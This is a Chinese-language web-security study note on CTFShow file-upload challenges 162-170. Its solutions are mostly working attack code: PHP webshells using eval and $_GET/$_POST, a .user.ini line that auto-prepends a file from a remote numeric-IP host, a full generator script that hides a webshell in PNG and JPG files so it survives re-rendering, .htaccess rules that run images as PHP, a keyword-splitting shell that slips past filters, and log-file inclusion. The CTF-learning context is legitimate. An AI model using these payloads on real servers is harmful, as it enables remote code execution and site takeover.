小迪安全笔记-32

第32天:WEB攻防-通用漏洞_文件上传_二次渲染_.htaccess_变异免杀

知识点

1 、文件上传 - 二次渲染

2 、文件上传 - 简单免杀变异

3 、文件上传 -.htaccess 妙用

4 、文件上传 -PHP 语言特性

前置知识

后门代码需要用特定格式后缀解析,不能以图片后缀解析脚本后门代码 ( 解析漏洞除外 )

如: jpg 图片里面有 php 后门代码,不能被触发,所以连接不上后门

如果要图片后缀解析脚本代码,一般会利用包含漏洞或解析漏洞,还 有.user.ini&.htaccess

.htaccess文件只能用于apahce,不能用于iis和nginx等中间件

.user.ini只能用于Server API为FastCGI模式下,而正常情况下apache不是运行在此模块下的。

文件二次渲染

1 、判断上传前和上传后的文件大小及内容

2 、判断上传后的文件返回数据包内容

CTFSHOW-文件上传-162 到 170 关卡

例题

162 突破.过滤

过滤 . () {} ; 等

解题思路:通过.user.ini包含png文件,png文件包含远程可执行文件

1
2
.user.ini :GIF89a auto_prepend_file=png
png: GIF89a <?=include'http://1385994699/';?>
### 163 突破上传删除 过滤 . () {} ; 等 同时文件被删除,png上传成功后会自动删除 1,什么都删除 2,有后门代码就删除 解决办法: 1,可以利用条件竞争:在上传成功后,立马访问,创建型代码(代码被执行后重新创建一个 文件) 2,直接利用.user.ini 包含远程 GIF89a auto_prepend_file=http://1385994699/ ### 164 png 二次渲染 二次渲染之前考核赛考过,原理基本了解,绕过方法也了解了 #### png绕过代码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php

$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
0x66, 0x44, 0x50, 0x33);
$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y];
$g = $p[$y+1];
$b = $p[$y+2];
$color = imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y / 3), 0, $color);
}

imagepng($img,'1.png'); //要修改的图片的路径
/* 木马内容
<?$_GET[0]($_POST[1]);?>
*/

?>
### 165 jpg 二次渲染 #### jpg绕过代码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
<?php
$miniPayload = "<?=eval(\$_POST[1]);?>";


if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
die('php-gd is not installed');
}

if(!isset($argv[1])) {
die('php jpg_payload.php <jpg_name.jpg>');
}

set_error_handler("custom_error_handler");

for($pad = 0; $pad < 1024; $pad++) {
$nullbytePayloadSize = $pad;
$dis = new DataInputStream($argv[1]);
$outStream = file_get_contents($argv[1]);
$extraBytes = 0;
$correctImage = TRUE;

if($dis->readShort() != 0xFFD8) {
die('Incorrect SOI marker');
}

while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
$marker = $dis->readByte();
$size = $dis->readShort() - 2;
$dis->skip($size);
if($marker === 0xDA) {
$startPos = $dis->seek();
$outStreamTmp =
substr($outStream, 0, $startPos) .
$miniPayload .
str_repeat("\0",$nullbytePayloadSize) .
substr($outStream, $startPos);
checkImage('_'.$argv[1], $outStreamTmp, TRUE);
if($extraBytes !== 0) {
while((!$dis->eof())) {
if($dis->readByte() === 0xFF) {
if($dis->readByte !== 0x00) {
break;
}
}
}
$stopPos = $dis->seek() - 2;
$imageStreamSize = $stopPos - $startPos;
$outStream =
substr($outStream, 0, $startPos) .
$miniPayload .
substr(
str_repeat("\0",$nullbytePayloadSize).
substr($outStream, $startPos, $imageStreamSize),
0,
$nullbytePayloadSize+$imageStreamSize-$extraBytes) .
substr($outStream, $stopPos);
} elseif($correctImage) {
$outStream = $outStreamTmp;
} else {
break;
}
if(checkImage('payload_'.$argv[1], $outStream)) {
die('Success!');
} else {
break;
}
}
}
}
unlink('payload_'.$argv[1]);
die('Something\'s wrong');

function checkImage($filename, $data, $unlink = FALSE) {
global $correctImage;
file_put_contents($filename, $data);
$correctImage = TRUE;
imagecreatefromjpeg($filename);
if($unlink)
unlink($filename);
return $correctImage;
}

function custom_error_handler($errno, $errstr, $errfile, $errline) {
global $extraBytes, $correctImage;
$correctImage = FALSE;
if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
if(isset($m[1])) {
$extraBytes = (int)$m[1];
}
}
}

class DataInputStream {
private $binData;
private $order;
private $size;

public function __construct($filename, $order = false, $fromString = false) {
$this->binData = '';
$this->order = $order;
if(!$fromString) {
if(!file_exists($filename) || !is_file($filename))
die('File not exists ['.$filename.']');
$this->binData = file_get_contents($filename);
} else {
$this->binData = $filename;
}
$this->size = strlen($this->binData);
}

public function seek() {
return ($this->size - strlen($this->binData));
}

public function skip($skip) {
$this->binData = substr($this->binData, $skip);
}

public function readByte() {
if($this->eof()) {
die('End Of File');
}
$byte = substr($this->binData, 0, 1);
$this->binData = substr($this->binData, 1);
return ord($byte);
}

public function readShort() {
if(strlen($this->binData) < 2) {
die('End Of File');
}
$short = substr($this->binData, 0, 2);
$this->binData = substr($this->binData, 2);
if($this->order) {
$short = (ord($short[1]) << 8) + ord($short[0]);
} else {
$short = (ord($short[0]) << 8) + ord($short[1]);
}
return $short;
}

public function eof() {
return !$this->binData||(strlen($this->binData) === 0);
}
}
?>
### 166 zip 调用包含
1
2
直接上传 zip 后修改代码
<?=eval($_POST[x]);?>
### 167 .htaccess .htaccess 默认不支持 nginx ,支持apache,设置后支持nginx .htaccess 可以通过设置实现文件解析配置 将.png 后缀的文件解析成 php ​ (1)SetHandler 指令 ​ \# 将images.png 当做 PHP 执行 ​ ​ SetHandler application/x-httpd-php ​ ​ (2)AddType ​ \# 将 .jpg(.xxx) 当做 PHP 文件解析 ​ AddType application/x-httpd-php .jpg(.xxx) ### 168 免杀后门 可以上传php文件,但是后门代码会限制,过滤了一些关键词,eval,system等 将system拆分,然后直接读取对应文件
1
<?php $a='syste';$b='m';$c=$a.$b;$c('tac ../flag.php');?>
### 169 170 日志包含 构造 .user.ini 利用条件:目录要有首页文件, index.php(首页指向文件) 内容随意 目录没有首页文件,可以让.user.ini包含日志文件,将后门代码写入到日志文件 上传.user.ini 包含日志:auto_prepend_file=/var/log/nginx/access.log